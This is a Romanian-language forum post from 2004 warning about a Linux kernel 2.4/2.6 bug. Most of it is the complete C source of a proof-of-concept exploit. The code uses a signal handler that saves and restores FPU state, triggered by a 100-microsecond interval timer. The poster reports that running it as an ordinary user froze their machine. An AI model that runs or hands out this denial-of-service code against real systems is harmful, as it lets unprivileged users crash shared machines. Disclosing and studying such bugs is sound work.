Linux Bugs, crash, boom, bang |
Bine ati venit ca musafir! ( Logare | Inregistrare )
Linux Bugs, crash, boom, bang |
16 Jun 2004, 01:59 PM
Mesaj
#1
|
|
Dregator Grup: Membri Mesaje: 567 Inscris: 5 January 04 Forumist Nr.: 1.705 |
Nimic nu e perfect.
Linux-ul nu se abate de la regula. Un bug de kernel, deosebit de grav a fost descoperit zilele astea. Asa arata sursa care trebuie compilata: #include <sys/time.h> #include <signal.h> #include <unistd.h> static void Handler(int ignore) { char fpubuf[108]; __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf)); write(2, "*", 1); __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf)); } int main(int argc, char *argv[]) { struct itimerval spec; signal(SIGALRM, Handler); spec.it_interval.tv_sec=0; spec.it_interval.tv_usec=100; spec.it_value.tv_sec=0; spec.it_value.tv_usec=100; setitimer(ITIMER_REAL, &spec, NULL); while(1) write(1, ".", 1); return 0; } Ruland executabilul ca user normal, pe statia mea cu kernel 2.4, masina a inghetat complet. Kernelul 2.4 si 2.6 este afectat. Mai multe detalii aici: link Acest topic a fost editat de -trustbyte-: 16 Jun 2004, 04:01 PM |
|
|
Versiune Text-Only | Data este acum: 29 April 2024 - 02:53 PM |